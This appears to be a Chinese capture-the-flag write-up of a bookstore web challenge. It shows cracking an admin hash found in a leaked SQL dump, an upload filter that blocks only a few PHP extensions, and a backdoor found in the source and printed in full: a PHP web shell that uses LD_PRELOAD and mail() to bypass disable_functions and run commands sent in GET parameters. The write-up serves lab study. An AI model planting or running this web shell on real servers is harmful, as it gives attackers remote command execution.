附件
在NSSCTF上复现时,给了附件,下载后打开是网站的源码。
测试
访问靶机,是一个图书商店之类的东西,简单翻了翻前端代码,没有发现什么有价值的东西,于是转向提供的附件。
在database/obs_db.sql
文件里,发现了管理员账号和密码的哈希值:
直接上一手cmd5,得到管理员密码:
登录进入后台:
在Add New Book
功能菜单中发现一处文件上传,查看源码相关部分,在admin_add.php
处:
这里只对几个php后缀做了过滤,而忽略了其它后缀名,所以存在任意文件上传漏洞。
随便找张图片,上传,抓包:
给他改一手,这里要注意,在NSSCTF复现时试了好久上传都会被拦截,不知道是WAF还是什么给拦了,真TM操蛋。于是转换思路,上D盾扫扫,扫出了个后门:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
按照提示,可以直接执行命令了:
发现根目录下没有flag,转向环境变量,执行env
拿到flag: